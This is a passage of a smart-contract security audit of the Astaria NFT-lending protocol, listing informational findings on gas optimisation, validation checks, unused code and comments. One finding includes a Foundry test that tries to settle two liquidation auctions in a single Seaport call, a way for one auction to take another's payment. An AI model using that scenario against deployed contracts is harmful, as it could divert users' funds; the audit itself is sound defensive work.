Same risk applies to all the other upgradable contracts.

Recommendation: Users need to be aware of the above risks.

5.6.18 `WETH` can be made `immutable` in `DepositHelper`

Severity: Informational

Context:

- DepositHelper.sol#L21
- DepositHelper.sol#L26

Description/Recommendation: `DepositHelper` has no setter for `WETH` and it only gets initialised in the constructor so it can be made `immutable`.

5.6.19 Conditional statement in `_validateSignature(...)` can be simplified/optimized

Severity: Informational

Context:

- AstariaRouter.sol#L833

Description: When validating the vault strategist's (or delegate's) signature for the commitment, we perform the following check

```
if (
  (recovered != strategist && recovered != delegate) ||
  recovered == address(0)
) {
  revert IVaultImplementation.InvalidRequest(
    IVaultImplementation.InvalidRequestReason.INVALID_SIGNATURE
  );
}
```

The conditional statement:

```
(recovered != strategist && recovered != delegate)
```

perhaps can be optimised/simplified.

Recommendation: We can change the abovementioned conditional statement to:

```
!(recovered == strategist || recovered == delegate)
```

Need to run some gas diffs to verify that this actually optimised the flow.

5.6.20 `AstariaRouter` cannot deposit into private vaults

Severity: Informational

Context:

- AstariaRouter.sol#L596-L602
- Vault.sol#L90-L95

Description: The `allowlist` for private vaults only includes the private vault's owner

```
function newVault(
  address delegate,
  address underlying
) external whenNotPaused returns (address) {
  address[] memory allowList = new address[](1);
  allowList[0] = msg.sender;
  RouterStorage storage s = _loadRouterSlot();
  ...
}
```

Note that for private vaults we cannot modify or disable/enable the `allowlist`. It is always enabled and only includes the owner.

That means only the owner can deposit into the private vault

```
function deposit(
  uint256 amount,
  address receiver
) public virtual whenNotPaused returns (uint256) {
  VIData storage s = _loadVISlot();
  require(s.allowList[msg.sender] && receiver == owner());
  ...
}
```

If we the owner would like to be able to use the `AstariaRouter`'s interface by calling its `deposit(...)`, or `depositToVault(...)` endpoint (which uses the pulling strategy from transfer proxy), it would not be able to.

Anyone can directly transfer tokens to this private vault by calling `asset()` directly. So above requirement `require(s.allowList[msg.sender] ... )` seems to also be there to avoid potential mistakes when one is calling the `ERC4626RouterBase.deposit(...)` endpoint to deposit into the vault indirectly using the router.

Recommendation: If it is anticipated for the owners to deposit into their private vault by using the `AstariaRouter`'s interface. `AstariaRouter` should be added to the `allowlist` upon initialisation of the private vault.

5.6.21 The conditional statement when validating `newStack.lien.details.liquidationInitialAsk` can be simplified

Severity: Informational

Context:

- AstariaRouter.sol#L576-L583

Description/Recommendation: In `_validateRequest(...)` we performing a check for `newStack.lien.details.liquidationInitialAsk` :

```
if (
  newStack.lien.details.liquidationInitialAsk < owingAtEnd ||
  newStack.lien.details.liquidationInitialAsk == 0
) {
  revert ILienToken.InvalidLienState(
    ILienToken.InvalidLienStates.INVALID_LIQUIDATION_INITIAL_ASK
  );
}
```

`owingAtEnd` is calculated as:

$$a_{owed} = a + \left\lfloor \frac{d \cdot r \cdot a}{10^{18}} \right\rfloor$$

parameter	description
a_{owed}	`owingAtEnd`
a	`params.lienReuqest.amount`
r	`newStack.lien.details.rate`
d	`newStack.lien.details.duration`
L_{in}	`newStack.lien.details.liquidationInitialAsk`

since we've already checked that $a > 0$ we can deduce that $0 < a \leq a_{owed}$. And since having $0 < a_{owed} \leq L_{in}$ implies that L_{in} is non-zero and positive we have that:

`newStack.lien.details.liquidationInitialAsk == 0` implies `newStack.lien.details.liquidationInitialAsk < owingAtEnd` and so the conditionals in this if statement can be simplified to:

```
if (
 newStack.lien.details.liquidationInitialAsk < owingAtEnd
) {
 revert ILienToken.InvalidLienState(
   ILienToken.InvalidLienStates.INVALID_LIQUIDATION_INITIAL_ASK
 );
}
```

5.6.22 Reorganise sanity/validity checks in the `commitToLien(...)` flow

Severity: Informational

Context:

- AstariaRouter.sol#L857-L863
- AstariaRouter.sol#L566-L587
- AstariaRouter.sol#L885-L891
- AstariaRouter.sol#L883

Description: The following checks are preformed in `_validateRequest(...)`:

- `params.lienRequest.amount == 0`:

```
if (params.lienRequest.amount == 0) {
  revert ILienToken.InvalidLienState(
    ILienToken.InvalidLienStates.AMOUNT_ZERO
  );
}
```

The above check can be moved to the very beginning of the `commitToLien(...)` flow. Perhaps right before or after we check the commitment's vault provided is valid.

- `newStack.lien.details.duration < s.minLoanDuration` can be checked right after we compare to time to the second epoch end:

```
if (publicVault.supportsInterface(type(IPublicVault).interfaceId)) {
  uint256 timeToSecondEpochEnd = publicVault.timeToSecondEpochEnd();
  require(timeToSecondEpochEnd > 0, "already two epochs ahead");
  if (timeToSecondEpochEnd < lien.details.duration) {
    lien.details.duration = timeToSecondEpochEnd;
  }
}

if (lien.details.duration < s.minLoanDuration) {
  revert ILienToken.InvalidLienState(
    ILienToken.InvalidLienStates.MIN_DURATION_NOT_MET
  );
}
```

This only works if we assume the `LienToken.createLien(...)` endpoint does not change the duration. The current implementation does not.

- `block.timestamp > params.lienRequest.strategy.deadline` can also be checked at the very beginning of the `commitToLien` flow.

Recommendation: Recommendations above can be applied or we can keep the current flow if we would like to check these invariants at the end of the flow.

5.6.23 Refactor fetching `strategyValidator`

Severity: Informational

Context:

- AstariaRouter.sol#L480-L485
- AstariaRouter.sol#L492-L496

Description: Both `_validateCommitment(...)` and `getStrategyValidator(...)` need to fetch `strategyValidator` and both use the same logic.

Recommendation: We can refactor and introduce a new `internal` function

```
function _getStrategyValidator(
   RouterStorage storage s,
   IAstariaRouter.Commitment calldata commitment
) internal view returns (address strategyValidator) {
   uint8 nlrType = uint8(_sliceUint(commitment.lienRequest.nlrDetails, 0));
   strategyValidator = s.strategyValidators[nlrType];
   if (strategyValidator == address(0)) {
      revert InvalidStrategy(nlrType);
   }
}
```

which can be used in both functions above.

5.6.24 `assembly ("memory-safe")` can be used in

Severity: Informational

Context:

- AstariaRouter.sol#L450-L459
- AstariaRouter.sol#L480
- AstariaRouter.sol#L492

Description: The following internal pure functions is defined in `AstariaRouter`

```
function _sliceUint(
  bytes memory bs,
  uint256 start
) internal pure returns (uint256 x) {
  uint256 length = bs.length;

  assembly {
    let end := add(ONE_WORD, start)

    if lt(length, end) {
      mstore(0, OUTOFBOUND_ERROR_SELECTOR)
      revert(0, ONE_WORD)
    }

    x := mload(add(bs, end))
  }
}
```

Since only the scratch space in memory is altered, we can use:

```
assembly ("memory-safe") { ... }
```

also only used with `start = 0`:

```
uint8 nlrType = uint8(_sliceUint(commitment.lienRequest.nlrDetails, 0))
```

1. We can use `assembly ("memory-safe")` (requires `solc v0.8.13`):

```
function _sliceUint(
  bytes memory bs,
  uint256 start
) internal pure returns (uint256 x) {
  assembly ("memory-safe") {
    let length := mload(bs)
    let end := add(ONE_WORD, start)

    if lt(length, end) {
      mstore(0, OUTOFBOUND_ERROR_SELECTOR)
      revert(0, ONE_WORD)
    }

    x := mload(add(bs, end))
  }
}
```

2. Might be better to move this helper/utility function to a library.
3. We can specialise for `start == 0`.

5.6.25 Updating the proxies and initialisation

Severity: Informational

Context:

- AstariaRouter.sol#L83
- CollateralToken.sol#L80
- LienToken.sol#L57

Description/Recommendation: Just a note in case one would need to change some parameters after deploying `v0.5.0` (if we can't file for them):

```
cast storage $ASTARIA_ROUTER_PROXY_ADDR_MAINNET $INITIALIZER_SLOT
0x0000000000000000000000000000000000000000000000000000000000000001
```

then a new modifier needs to be used here or for a new `init` endpoint with `reinitializer(2)` modifier.

The same goes for `LienToken` and `CollateralToken`:

```
cast storage $LIEN_TOKEN_PROXY_ADDR $INITIALIZER_SLOT
0x0000000000000000000000000000000000000000000000000000000000000001

cast storage $COLLATERAL_TOKEN_PROXY_ADDR $INITIALIZER_SLOT
0x0000000000000000000000000000000000000000000000000000000000000001
```

5.6.26 `validateOrder(...)` prevents settling multiple liquidation auctions using only one call to `Seaport`

Severity: Informational

Context:

- CollateralToken.sol#L139-L144

Description/Recommendation: When a `Seaport` liquidation auction settles the `CollateralToken` gets a call back which has the following check if the `offerer` Is the `CollateralToken`:

```
if (
  zoneParameters.orderHashes[0] !=
  s.idToUnderlying[collateralId].auctionHash
) {
  revert InvalidOrder();
}
```

Just a note, this check is really important as it prevents to settle multiple liquidation auctions with just one call to `Seaport`. This basically requires that the first available advanced order can be the only order that `CollateralToken` accepts among the orders that `CollateralToken` is the `offerer`. Otherwise, one auction could steal the settlement payment from another auction.

```
// file: src/test/LienTokenSettlementScenarioTest.t.sol

  function _createUser(uint256 pk, string memory label) internal returns(address addr) {
    uint256 ownerPK = uint256(pk);
    addr = vm.addr(ownerPK);
    vm.label(addr, label);
  }

  // Scenario 13: two liquidated liens are settled simultaneously on Seaport
  function testScenario13() public {
    {
      console2.log("--- test multiple simultaneous action settlement ---");

      address borrower1 = _createUser(0xb055033501, "borrower1");
      address borrower2 = _createUser(0xb055033501, "borrower2");
      address vaultOwner = _createUser(0xa77ac3, "vaultOwner");

      address publicVault = _createPublicVault(vaultOwner, vaultOwner, 14 days);
      vm.label(publicVault, "publicVault");
      console2.log("[+] public vault is created: %s", publicVault);

      _lendToVault(
        Lender({addr: vaultOwner, amountToLend: 10 ether}),
        payable(publicVault)
      );

      address privateVault = _createPrivateVault(borrower2, borrower2);
      vm.label(privateVault, "privateVault");
      console2.log("[+] private vault is created: %s", privateVault);

      _lendToPrivateVault(
        PrivateLender({addr: borrower2, amountToLend: 1 ether, token: address(WETH9)}),
        payable(privateVault)
      );

      TestNFT nft1 = new TestNFT(1);
      address tokenContract1 = address(nft1);
      uint256 tokenId1 = uint256(0);

      TestNFT nft2 = new TestNFT(1);
```

```
address tokenContract2 = address(nft2);
uint256 tokenId2 = uint256(0);

nft1.transferFrom(address(this), borrower1, tokenId1);
nft2.transferFrom(address(this), borrower2, tokenId2);

ILienToken.Stack[2] memory stacks;

vm.startPrank(borrower1);
(, stacks[1]) = _commitToLien({
  vault: payable(publicVault),
  strategist: vaultOwner,
  strategistPK: 0xa77ac3,
  tokenContract: tokenContract1,
  tokenId: tokenId1,
  lienDetails: ILienToken.Details({
    maxAmount: 2 ether,
    rate: 1e8,
    duration: 1e10,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 1 ether
  }),
  amount: 0.5 ether,
  revertMessage: ""
});
vm.stopPrank();

vm.startPrank(borrower2);
(, stacks[0]) = _commitToLien({
  vault: payable(privateVault),
  strategist: borrower2,
  strategistPK: 0xb055033501,
  tokenContract: tokenContract2,
  tokenId: tokenId2,
  lienDetails: ILienToken.Details({
    maxAmount: 1 ether,
    rate: 2e8,
    duration: 1e10,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 3 ether
  }),
  amount: 1 ether,
  revertMessage: ""
});


skip(1e10);

OrderParameters[2] memory listedOrders;
listedOrders[0] = _liquidate(stacks[0]);
listedOrders[1] = _liquidate(stacks[1]);

skip(uint256(3 days) / 4000);

vm.stopPrank();

uint256 _bidderPK = 0xb1dde5;
address _bidder = _createUser(_bidderPK, "bidder");
_bid2(Bidder({
  bidder: _bidder,
  bidderPK: _bidderPK
}), listedOrders, 10 ether, stacks);
```

```
    }
  }

  function _bid2(
    Bidder memory incomingBidder,
    OrderParameters[2] memory params,
    uint256 bidAmount,
    ILienToken.Stack[2] memory stack
  ) internal returns (uint256 executionPrice) {
    vm.deal(incomingBidder.bidder, bidAmount * 3);

    if (bidderConduits[incomingBidder.bidder].conduitKey == bytes32(0)) {
      _deployBidderConduit(incomingBidder.bidder);
    }
    vm.startPrank(incomingBidder.bidder);
    AdvancedOrder[] memory orders = new AdvancedOrder[](4);

    {
      WETH9.deposit{value: bidAmount * 2}();
      WETH9.approve(bidderConduits[incomingBidder.bidder].conduit, bidAmount * 2);

      OrderParameters[] memory mirrors = new OrderParameters[](2);
      OrderComponents[] memory matchOrderComponents = new OrderComponents[](2);

      mirrors[0] = _createMirrorOrderParameters(
        params[0],
        payable(incomingBidder.bidder),
        params[0].zone,
        bidderConduits[incomingBidder.bidder].conduitKey
      );
      emit log_order(mirrors[0]);

      mirrors[1] = _createMirrorOrderParameters(
        params[1],
        payable(incomingBidder.bidder),
        params[1].zone,
        bidderConduits[incomingBidder.bidder].conduitKey
      );
      emit log_order(mirrors[1]);

      orders[0] = AdvancedOrder(params[0], 1, 1, new bytes(0), abi.encode(stack[0]));

      matchOrderComponents[0] = getOrderComponents(
        mirrors[0],
        consideration.getCounter(incomingBidder.bidder)
      );

      bytes memory mirrorSignature = signOrder(
        SEAPORT,
        incomingBidder.bidderPK,
        consideration.getOrderHash(matchOrderComponents[0])
      );

      orders[1] = AdvancedOrder(mirrors[0], 1, 1, mirrorSignature, new bytes(0));

      orders[2] = AdvancedOrder(params[1], 1, 1, new bytes(0), abi.encode(stack[1]));

      matchOrderComponents[1] = getOrderComponents(
        mirrors[1],
        consideration.getCounter(incomingBidder.bidder)
      );
```

```
    mirrorSignature = signOrder(
      SEAPORT,
      incomingBidder.bidderPK,
      consideration.getOrderHash(matchOrderComponents[1])
    );

    orders[3] = AdvancedOrder(mirrors[1], 1, 1, mirrorSignature, new bytes(0));
  }



  Fulfillment[] memory _fulfillments = new Fulfillment[](4);

  {
    FulfillmentComponent[][4] memory fc;

    fc[0] = new FulfillmentComponent[](1);
    fc[1] = new FulfillmentComponent[](1);
    fc[2] = new FulfillmentComponent[](1);
    fc[3] = new FulfillmentComponent[](1);

    fc[0][0] = FulfillmentComponent(0, 0);
    fc[1][0] = FulfillmentComponent(1, 0);
    fc[2][0] = FulfillmentComponent(2, 0);
    fc[3][0] = FulfillmentComponent(3, 0);

    _fulfillments[0] = Fulfillment(fc[0], fc[1]);
    _fulfillments[1] = Fulfillment(fc[1], fc[0]);

    _fulfillments[2] = Fulfillment(fc[2], fc[3]);
    _fulfillments[3] = Fulfillment(fc[3], fc[2]);
  }

  consideration.matchAdvancedOrders(
    orders,
    new CriteriaResolver[](0),
    _fulfillments,
    incomingBidder.bidder
  );

  vm.stopPrank();
}
```

5.6.27 The `stack` provided as an extra data to settle `Seaport` auctions need to be retrievable

Severity: Informational

Context:

- CollateralToken.sol#L145-L148

Description: The `stack` provided as an extra data to settle `Seaport` auctions need to be retrievable. Perhaps one can figure this from various events or off-chain agents, but it is not directly retrievable.

Recommendation: Make sure there are systems in place to retrieve the associated `stack` to a liquidated `Seaport` auction so that the fulfillers can provide it as an extra data when they would like to settle these auctions.

Astaria: It's available from new loan events or the astaria backend

5.6.28 Make sure `CollateralToken` is connected to `Seaport v1.5`

Severity: Informational

Context:

- CollateralToken.sol#L84
- CollateralToken.sol#L343-L365

Description: Currently the `CollateralToken` proxy (`v0`) is connected to `Seaport v1.1` which has different callbacks to the zone and it also only performs static calls.

If the current version of `CollateralToken` gets connected to the `Seaport v1.1`, no one would be able to settle auctions created by the `CollateralToken`. This is due to the fact that the callbacks would revert.

Recommendation: Make sure `CollateralToken` is connected to `Seaport v1.5`.

5.6.29 In `liquidatorNFTClaim` move `liquidator`'s definition closer its first usage site

Severity: Informational

Context:

- CollateralToken.sol#L243-L280

Description/Recommendation: For better readability it would be best to move `liquidator`'s definition closer its first usage site in `liquidatorNFTClaim`

```
function liquidatorNFTClaim(
  ILienToken.Stack memory stack,
  OrderParameters memory params,
  uint256 counterAtLiquidation
) external whenNotPaused {
  CollateralStorage storage s = _loadCollateralSlot();

  uint256 collateralId = params.offer[0].token.computeId(
    params.offer[0].identifierOrCriteria
  );

 ...
 // the sanity checks
 ...

  s.LIEN_TOKEN.makePayment(stack);
  address liquidator = s.LIEN_TOKEN.getAuctionLiquidator(collateralId); // <-- moved down here
  _releaseToAddress(s, collateralId, liquidator);
}
```

It would also be best to define a new endpoint for `LienToken` to combine the two calls `LIEN_TOKEN.makePayment(...)` and `LIEN_TOKEN.getAuctionLiquidator(...)` into one call in this flow.

5.6.30 Define getter for `idToUnderlying.auctionHash`

Severity: Informational

Context:

- CollateralToken.sol#L428-L435
- ICollateralToken.sol#L50
- ICollateralToken.sol#L62

Description/Recommendation: It might be useful to define a getter function/endpoint for `idToUnderlying.auctionHash`.

5.6.31 Remove unused code

Severity: Informational

Context:

- ILienToken.sol#L23-L32
- LienToken.sol#L30
- LienToken.sol#L32
- LienToken.sol#L38
- LienToken.sol#L44
- ClaimFees.sol
- V3SecurityHook.sol
- CollateralToken.sol#L42-L56
- CollateralToken.sol#L57-L60
- IFlashAction.sol
- ISecurityHook.sol
- IPublicVault.sol#L35
- IPublicVault.sol#L116
- IAstariaRouter.sol#L101-L104
- IV3PositionManager.sol#L3
- ILienToken.sol#L27-L31
- IAstariaRouter.sol#L36
- IAstariaRouter.sol#L96
- ILienToken.sol#L57

Description/Recommendation:

- ILienToken.sol#L23-L32, the `FileType` enum has only two fields that are used, we can update it to:

```
enum FileType {
  NotSupported, // we can keep `NotSupported` if we would like the actual file types to start from 1
  CollateralToken,
  AstariaRouter
}
```

- LienToken.sol#L30, `IVaultImplementation` can be removed since it's not used.

- LienToken.sol#L32, `VaultImplementation` can be removed since it's not used.
- LienToken.sol#L38, LienToken.sol#L44, `AmountDeriver` is not used and can be removed.
- ClaimFees.sol, V3SecurityHook.sol, `flashAction` has been removed from the `CollateralToken`. Perhaps this file can be removed or marked as it is not being used currently.

```
function flashAction(
  IFlashAction receiver,
  uint256 collateralId,
  bytes calldata data
) external onlyOwner(collateralId) {
  address addr;
  uint256 tokenId;
  CollateralStorage storage s = _loadCollateralSlot();
  (addr, tokenId) = getUnderlying(collateralId);

  if (!s.flashEnabled[addr]) {
    revert InvalidCollateralState(InvalidCollateralStates.FLASH_DISABLED);
  }

  if (
    s.LIEN_TOKEN.getCollateralState(collateralId) == bytes32("ACTIVE_AUCTION")
  ) {
    revert InvalidCollateralState(InvalidCollateralStates.AUCTION_ACTIVE);
  }

  bytes32 preTransferState;
  //look to see if we have a security handler for this asset

  address securityHook = s.securityHooks[addr];
  if (securityHook != address(0)) {
    preTransferState = ISecurityHook(securityHook).getState(addr, tokenId);
  }
  // transfer the NFT to the destination optimistically

  ClearingHouse(s.idToUnderlying[collateralId].clearingHouse)
    .transferUnderlying(addr, tokenId, address(receiver));

  //trigger the flash action on the receiver
  if (
    receiver.onFlashAction(
      IFlashAction.Underlying(
        s.idToUnderlying[collateralId].clearingHouse,
        addr,
        tokenId
      ),
      data
    ) != keccak256("FlashAction.onFlashAction")
  ) {
    revert FlashActionCallbackFailed();
  }

  if (
    securityHook != address(0) &&
    preTransferState != ISecurityHook(securityHook).getState(addr, tokenId)
  ) {
    revert FlashActionSecurityCheckFailed();
  }

  // validate that the NFT returned after the call
```

```
    if (
      IERC721(addr).ownerOf(tokenId) !=
      address(s.idToUnderlying[collateralId].clearingHouse)
    ) {
      revert FlashActionNFTNotReturned();
    }
  }
```

- CollateralToken.sol#L42-L56, `AdvancedOrder`, `CriteriaResolver`, `SpentItem` and `ReceivedItem` are not used.
- CollateralToken.sol#L57-L60, `Consideration`, and `SeaportInterface` are not used.
- IFlashAction.sol, flash action has been removed from the `CollateralToken`. Perhaps this file can be removed or commented that it is not used currently.
- ISecurityHook.sol, This was also used for flash actions in `CollateralToken`. Perhaps can be removed or marked as not used.
- IPublicVault.sol#L35`VaultData.strategistUnclaimedShares` is not used.
- IPublicVault.sol#L116, `LIQUIDATION_ACCOUNTANT_ALREADY_DEPLOYED_FOR_EPOCH` is not used.
- IAstariaRouter.sol#L101-L104, `MerkleData` is not used anymore.
- IV3PositionManager.sol#L3, not used anymore due to removal of flash action from `CollateralToken`.
- ILienToken.sol#L27-L31, these fields are not used anymore here and `MinLoanDuration` is redefined in `IAstariaRouter`.
- IAstariaRouter.sol#L36, `MinInterestRate` is not used.
- IAstariaRouter.sol#L96, `StrategyDetailsParam.version` seems not being used. Perhaps because we have another `version` encoded in `NewLienRequest.nlrDetails` which might point to the same information. Consider removing it if there isn't plan to be using it to encapsulate a different `version`.
- ILienToken.sol#L57, `maxPotentialDebt` is not used anymore. Some tests still set this value to a non-zero value.

5.6.32 Use _underscore for internal function names

Severity: Informational

Context:

- WithdrawProxy.sol#L374

Description/Recommendation: In the context above, it would be best to start the function names with an underscore _ for better readability.

5.6.33 Fix Comments

Severity: Informational

Context:

- WithdrawProxy.sol#L368-L372
- WithdrawProxy.sol#L58
- WithdrawProxy.sol#L56
- WithdrawProxy.sol#L304
- LienToken.sol#L273-L276
- AuthInitializable.sol#L19

- AuthInitializable.sol#L20
- AstariaRouter.sol#L535-L536
- WithdrawProxy.sol#L247
- AstariaVaultBase.sol#L47

Description/Recommendation:

- WithdrawProxy.sol#L368-L372, `handleNewLiquidation(...)` is not directly called anymore and it is called indirectly when a safe `ERC721` is transferred by calling back the `onERC721Received` endpoint.
- WithdrawProxy.sol#L58, `withdrawReserveReceived`'s comment mentions `WETH`, but in general the asset might be a different token. It also receives assets from the next epoch's `WithdrawProxy`
- WithdrawProxy.sol#L56, the comment is not accurate for `expected` as part of it might be drained to the previous `WithdrawProxy`.
- WithdrawProxy.sol#L304, needs to mention that `... is always increased by the transfer amount from the PublicVault or the next epoch's WithdrawProxy`
- LienToken.sol#L273-L276, The NatSpec comment needs to be updated as it's not correct in the current protocol:

```
-   * @notice Retrieves a lienCount for specific collateral
-   * @param collateralId the Lien to compute a point for
+   * @notice Retrieves the ID of the LienToken associated to this collateralId
+   * @param collateralId The ID of the CollateralToken.
```

- AuthInitializable.sol#L19, the link is broken.
- AuthInitializable.sol#L20, the link needs to be updated to `https://github.com/transmissions11/solmate/blob/v7/src/`
- AstariaRouter.sol#L535-L536, The NatSpec comment needs to be updated as it's not correct in the current protocol:

```
-* @notice Deposits collateral and requests loans for multiple NFTs at once.
-* @param commitment The commitment proofs and requested loan data for each loan.
+* @notice Deposits collateral and requests a loan for an NFT.
+* @param commitment The commitment proof and requested loan data.
```

- WithdrawProxy.sol#L247 typo:

```
-    * @notice returns the final auctio nend
+    * @notice returns the final auction end
```

- AstariaVaultBase.sol#L47, comment should say `61`.